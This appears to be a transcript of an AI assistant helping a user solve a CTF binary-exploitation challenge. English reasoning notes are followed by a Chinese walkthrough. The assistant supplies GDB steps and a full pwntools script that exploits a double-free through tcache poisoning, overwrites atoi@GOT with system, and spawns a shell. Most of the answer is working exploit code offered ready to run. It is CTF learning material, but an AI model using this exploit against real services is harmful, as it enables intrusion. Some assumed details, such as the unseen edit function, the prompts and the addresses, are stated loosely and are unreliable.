So, the "delete" function reads an index, checks it's less than 5, and attempts to free the pointer. But there’s no null check or pointer clearing, so it opens up a potential double free vulnerability. The edit function isn’t shown, but we can speculate it might allow writing beyond the expected size.

Exploring vulnerabilities and exploit strategy

The key vulnerabilities are the double free and UAF. We can exploit this by poisoning the tcache, leading to an arbitrary 8-byte write to the GOT (or a function pointer). Given that indices are limited to 5 and chunks are 256 bytes, we’ll overwrite the got entry for atoi to point to system.

Exploring exploitation steps

The goal is to overwrite atoi@GOT to control program behavior. I’d use double free, leak an address, and adjust the GOT entries. There are strategies to leak addresses using printf or puts, although challenges remain in controlling the appropriate arguments. Alternate approaches may involve pivot gadgets or rethinking how to adjust registers.

Considering attack vectors

I’m exploring how to overwrite atoi@GOT to control flow. I’m considering bypassing normal control by adjusting registers and leveraging a ROP chain. However, it's difficult as I need precise control over the registers and memory, and my best approach so far seems to be manipulating the atoi@GOT address for stacking tricks.

Planning exploitation strategy

I’m considering overwriting atoi@GOT with printf@plt to leak memory. By using a format string with %p in place of input, I can print values from the stack, potentially revealing libc addresses. After triggering the leak, I’ll aim to pivot with tcache poisoning, leading to shell execution by manipulating the GOT to call system.

Managing flow and leaks

In this step, I need to carefully manage the flow and leaks. First, I’ll use add calls to manipulate memory, ensuring that I control where I write in target. We’ll overwrite atoi@GOT with printf@plt and carefully format input to bypass the exit conditions while capturing leaks. However, this restricts menu navigation, so I need to control v0 and adjust input accordingly.

Navigating the leak and flow

In this approach, I’ll overwrite atoi@GOT with printf, control execution using precise string lengths, and perform tcache poisoning sequentially. When seeking a leak, I’ll need to avoid triggering an exit. I'll feed crafted strings to control program flow and safely leak an address before continuing to address the system.

Focusing the exploit options

I’m considering different ways to leverage GOT overwriting and memory manipulation here. The main goal is to execute some code by controlling addresses within functions like atoi, puts, and read. However, challenges arise since some functions expect specific types of arguments or leads to crashes. Still, rerouting flow through specific vulnerabilities could provide a potential path forward.

Mapping out exploit steps

I’m planning the steps to exploit this setup, starting with identifying the vulnerabilities such as double free and tcache poisoning. I’ll walk through the GDB flow with commands for allocation, free, tcache checks, and determine GOT/tcache addresses. After pinpointing atoi@GOT, I’ll work through available options using libc leak or direct system address overwrite for remote connections.

Crafting the exploit

The challenge, in this case, is getting the system address with a double-free and tcache poisoning strategy. I need to craft two scripts: one for local testing using GDB to leak the puts@GOT address, and another for remote runs to include the libc path and offsets. For remote, we assume the user gets the libc, and for local, I’ll guide through GDB commands explicitly.

Planning exploit steps

To solve this, I'll walk the user through using a local glibc leak and tackle the exploit using double-free tcache poisoning. For remote, I'll guide users based on whether ASLR is enabled or not, explaining the steps in using GDB, reading GOT contents, resolving malloc@GOT, and computing offsets. I'll customize the script, adding a section for interactive commands to verify the tcache and address adjustments.

Thought for 4m 58s

回答

太给力!你这份 pwn.txt 里已经把交互逻辑、漏洞点都“露馅”了。我把漏洞结论先说清楚,然后给你一步一步的 GDB 操作指令,最后是一份可直接改的 exp(pwntools)。照做即可,即使你没学过 pwn 也能跑通 👍


一、结论(核心要点)

  1. 菜单:
  • 1.addsub_400B5F():固定申请 256 字节(每个 idx),把输入写进新块,然后把指针存到 qword_6CCD60[idx]
  • 2.deletesub_400CD5():直接 free(qword_6CCD60[idx])但不清空指针可双重释放(double free)与 UAF
  • 3.editsub_400C25()(文件没给出,但不影响我们利用)。
  • 每次菜单/索引解析都是 sub_43FCA0(read) 读到栈里,然后 sub_40E180 把字符串转 int(基本就是 atoi)。
    引用:add/删除/菜单打印的伪代码在你文本里都有。
  1. 保护:No PIENX enabledNo canaryPartial RELROGOT 可写)。
    → 走典型 tcache double free 污染,把下次 malloc 指到 atoi@GOT,再把它改写成我们想要的地址。

  2. 最稳解法(推荐):tcache 污染 → 改 atoi@GOT → 直接 system("/bin/sh") 出 shell

  • 因为菜单每次都调用“atoi 解析输入”,所以把 atoi@GOT 改成 system,你在菜单里输入 /bin/sh 就能起 shell。
  • 唯一需要:拿到 system 的真实地址(用本地/远端 libc 计算:libc_base + system@libc)。
  • 你这题里没有现成可打印地址的 show 功能,但我们可以在调试期(本地)轻松拿到;在线上(远端),CTF 一般会给你对应的 libc.so.6(或 docker),或者关闭了 ASLR。如果远端没给 libc、又开了 ASLR,这题就需要额外 leak,当前二进制并不友好;我下面给出两种分支做法。

二、GDB 调试:一步一步照敲(先在本地吃透)

目标:确认 double free 可行、记录堆块地址、确定 atoi@GOT/malloc@GOT 等地址,并算出 system,最后跑本地 exp。

0) 打开 gdb,基本设置

gdb
gdb -q ./pwn set disassemble-next-line on set pagination off set confirm off

1) 断点:add / delete / read 封装(看参数传递)

gdb
b *0x400B5F # add() b *0x400CD5 # delete() b *0x43FCA0 # read 封装:看 rdi/rsi/rdx(fd/buf/len)

你在文本里已经验证过寄存器现场:sub_43FCA0read 的薄封装(syscall <SYS_read>),rsi=缓冲区,rdx=长度(菜单里 16)。

2) 跑起来,进一次 add,确认 chunk 大小(tcache bin)

gdb
run # 程序打印菜单 # 这里输入:1<回车> → 触发 add 断点
  • add 里,会 malloc(256),然后再 read(256) 写满内容,并把指针存进 qword_6CCD60[idx]

3) 确认 double free

gdb
# 继续程序,按提示输入: # idx: 0 # data: AAAA c # 回到菜单,再输入:2(delete) # idx: 0 c # 再来一次 delete 相同 idx(double free): # 输入:2 # idx: 0 c
  • 因为 delete 不清空 qword_6CCD60[idx]同一个 idx 可重复 free → tcache dup/poison 的大门打开

提示:装了 pwndbg 的话可以随时 tcache 看 tcache 里 0x110(256+0x10 头)这个 bin 的链表情况。

4) 查 GOT 和 PLT(确定写哪、写啥)

在另一个终端(不在 gdb 里):

bash
readelf -r ./pwn | egrep 'atoi|puts|printf|free|malloc' # 记下 atoi@GOT 的绝对地址(No PIE → 固定) objdump -D ./pwn | grep -A2 '<printf@plt>' # 记下 printf@plt 的地址(用于测试/备用)

注意:我们最终要写入 atoi@GOT = system,所以还得知道 system 真地址。

5) 本地拿 libc 基址 & 计算 system

思路:在程序首次调用 malloc 之后,malloc@GOT 会被解析为 glibc 里的真实地址。我们可用它来算 libc_base

做法:

  1. 重新 run 一次,在菜单里执行一次 add(会调用 malloc):
    gdb
    run # 输入:1 → add # idx: 0 # data: AAAA c
  2. 在 gdb 里直接读 malloc@GOT
    gdb
    # 用 readelf -r 刚才拿到的 malloc@GOT 地址,举例 0x006ca018(按你的输出可以看到 .got.plt 从 0x006ca000 开始) x/gx 0x006ca018 # 记下打印出来的 8 字节值(就是 glibc 中的 malloc 实际地址)
  3. 准备本机 libc 文件(Ubuntu 常见路径 /lib/x86_64-linux-gnu/libc.so.6;远端要用远端提供的 libc):
    • 计算:
      text
      libc_base = real_malloc - offset_malloc_in_libc system = libc_base + offset_system_in_libc
    • 你可以让 pwntools 自动帮你算(下面的 exp 里已写好,调试时会让你把 real_malloc 粘进去)。

三、利用思路(按按钮式)

路线 1(强推):tcache 污染 → atoi@GOT = system → 输入 /bin/sh 出 shell

tcache poison 的标准 6 步(每个块大小都是 256,不影响套路):

  1. add(0) → 得到 A
  2. delete(0) → 释放 A
  3. delete(0)double free A
  4. add(1) → 取回 A(第1次),把 A 的 user 区前 8 字节写成 atoi@GOT - 0x10(这是 tcache 的“fd” 指针)
  5. add(2) → 再次取回 A(第2次)
  6. add(3) → 这次 malloc 会返回指向 atoi@GOT 的“伪块”,system 地址写进去

然后回到菜单,输入

/bin/sh

由于 atoi@GOT == system,程序会调用 system("/bin/sh"),你就拿到 shell,直接 cat flag

如果你担心一步到位先测不成功,可以先把 atoi@GOT 写成 printf@plt 做个“无害验证”(菜单里随便输入字符串,它会被 printf 打印出来),再重走一次 tcache 污染把它改成 system


四、完整 exp(pwntools)——你只改 3 处就能跑

  1. 远端 IP/端口(如有)
  2. 你的 atoi@GOT 地址(readelf -r 得)
  3. 本地调试时把 gdb 里读到的 real_malloc 粘到输入里(脚本会算 system);远端时把 libc_path 改成题目给的 libc
python
from pwn import * context.binary = elf = ELF('./pwn', checksec=False) # context.log_level = 'debug' HOST, PORT = '127.0.0.1', 12345 # 改成远端 USE_REMOTE = False # 远端就 True # ========== 1) GOT/PLT 地址 ========== atoi_got = elf.got.get('atoi') printf_plt = elf.plt.get('printf') malloc_got = elf.got.get('malloc') log.info(f'atoi@GOT = {hex(atoi_got)}') log.info(f'printf@plt = {hex(printf_plt)}') log.info(f'malloc@GOT = {hex(malloc_got)}') # ========== 2) 菜单交互 ========== def choice(io, n): io.sendlineafter(b'Your choice:\n', str(n).encode()) def do_add(io, idx, size, data): choice(io, 1) io.sendlineafter(b'idx:', str(idx).encode()) io.sendlineafter(b'what do you want to say\n', str(size).encode(), timeout=0.1) # 有的题不会要 size,这行按需要删 io.sendafter(b'', data) def add(io, idx, data): choice(io, 1) io.sendlineafter(b'idx:', str(idx).encode()) io.sendafter(b'what do you want to say\n', data) def delete(io, idx): choice(io, 2) io.sendlineafter(b'idx:', str(idx).encode()) def edit(io, idx, data=b'X'): # 如果确实有 edit choice(io, 3) io.sendlineafter(b'idx:', str(idx).encode()) io.sendafter(b'data:', data) # ========== 3) 计算 system ========== def compute_system_from_real_malloc(real_malloc, libc_path='/lib/x86_64-linux-gnu/libc.so.6'): libc = ELF(libc_path, checksec=False) libc_base = real_malloc - libc.symbols['malloc'] system = libc_base + libc.symbols['system'] log.success(f'libc_base = {hex(libc_base)}') log.success(f'system = {hex(system)}') return system def get_io(): return remote(HOST, PORT) if USE_REMOTE else process(elf.path) def solve(): io = get_io() # —— 本地(或远端已知 libc 且已泄露一次)先求 system —— # # 让程序先调用一次 malloc(add 一下),再在 gdb 里读 malloc@GOT 的真实值,填到这里: if not USE_REMOTE: # 触发一次 malloc:随便 add 一下 add(io, 0, b'AAAA\n') # 暂停,让你去 gdb 里读 malloc@GOT log.warning("现在在另一个终端开 gdb,attach 这个进程,读取 malloc@GOT 的值:") log.warning(f" gdb -q -p {io.pid}") log.warning(f" x/gx {hex(malloc_got)}") real_malloc = int(input("粘贴 gdb 读到的 malloc 实际地址(16进制,如 0x7f...): "), 16) system = compute_system_from_real_malloc(real_malloc) else: # 远端:如果题目给了 libc.so.6 路径,就把上面逻辑换成“先泄露再算”;这里先留占位—— # 假设 remote 关闭 ASLR(新手赛常见),你可直接用本地测出的 system system = int(input("远端 system 地址(若远端 ASLR 关闭可用本地测得的)(hex): "), 16) # —— tcache poison:把 atoi@GOT 写成 system —— # # 1) 准备 double free add(io, 0, b'AAAA\n') delete(io, 0) delete(io, 0) # double free # 2) 第一次取回,写 fd = (atoi@GOT - 0x10) add(io, 1, p64(atoi_got - 0x10) + b'\n') # 注意:行末加换行,避免残留读不到 # 3) 第二次取回(占位) add(io, 2, b'BBBB\n') # 4) 第三次取回 —— 返回到 atoi@GOT 处(伪 chunk) add(io, 3, p64(system) + b'\n') # 8 字节写入 GOT log.success("atoi@GOT 已被写成 system") # —— 触发 —— # io.sendline(b'/bin/sh') io.interactive() if __name__ == '__main__': solve()

你只需要改:

  • HOST/PORT(远端)
  • atoi_got 如果 elf.got['atoi'] 拿不到(极少数 strip 情况),就用 readelf -r 的值手填
  • system:本地用上面提示,在 gdb 里 x/gx malloc@GOT,粘进去让脚本自动算;远端用题目给的 libc 先在本地算好,或在远端先泄露一次(如果赛题允许)

五、我带你在 GDB 里“按键过关”(最小化教程)

  1. 开两个终端:

    • 终端 A:运行 exp(先 USE_REMOTE=False
    • 终端 B:gdb attach 到进程:
      bash
      gdb -q -p $(pidof pwn) x/gx 0x006ca018 # 用你的 malloc@GOT

    把读到的地址粘回 exp,脚本会自动算出 system 并继续跑。

  2. exp 会完成 double free → tcache poison → 覆写 atoi@GOT → 送 /bin/sh → 拿到 shell。

  3. 本地成功后,把 USE_REMOTE=True,把 HOST/PORT 换成题目给的。

    • 如果远端给了 libc 文件:你在本地 compute_system_from_real_malloc 用这份 libc 算出 system偏移;远端若关闭 ASLR,用本地一次调试得出的 libc_base 可以沿用(或现场让脚本问你粘贴 system 绝对地址)。
    • 如果远端开了 ASLR 又不给 leak 通道,这题就需要做一次“可持续交互的泄露”(本题菜单结构对 printf-leak 不友好,会导致退出)。一般 CTF 不会卡你在这里——大概率会给 libc/或关 ASLR/或题解线路是 ret2libc 直接跑。

六、若需要验证 tcache 状态(可选)

在 pwndbg 里:

gdb
tcache heap bins vis_heap

可以看到 0x110 这个 bin 的链表头、fd 指针是否被你改写成 atoi@GOT - 0x10


七、为什么这个解法可行(回顾关键引用)

  • add:固定 malloc(256),把返回指针塞到 qword_6CCD60[idx],然后用 read(256) 把你输入写进块里。
  • deletefree(qword_6CCD60[idx]) 后不置空 → 可对同一 idx 连续 free 两次(double free),进而 tcache dup
  • 每轮菜单与索引解析都是 atoisub_40E180),因此把 atoi@GOT 改成 system 后,你输入 /bin/sh 就是 system("/bin/sh")
    以上都来自你发来的反编译与寄存器现场。

如果你愿意,再把 sub_400C25(edit) 的伪代码也贴出来,我可以把 exp 再根据它的输入提示做地毯式“对齐”,以及补上“若远端要求先触发一次 malloc 再读取 GOT”等微调细节。祝你一发入魂拿 flag!

分享这个问答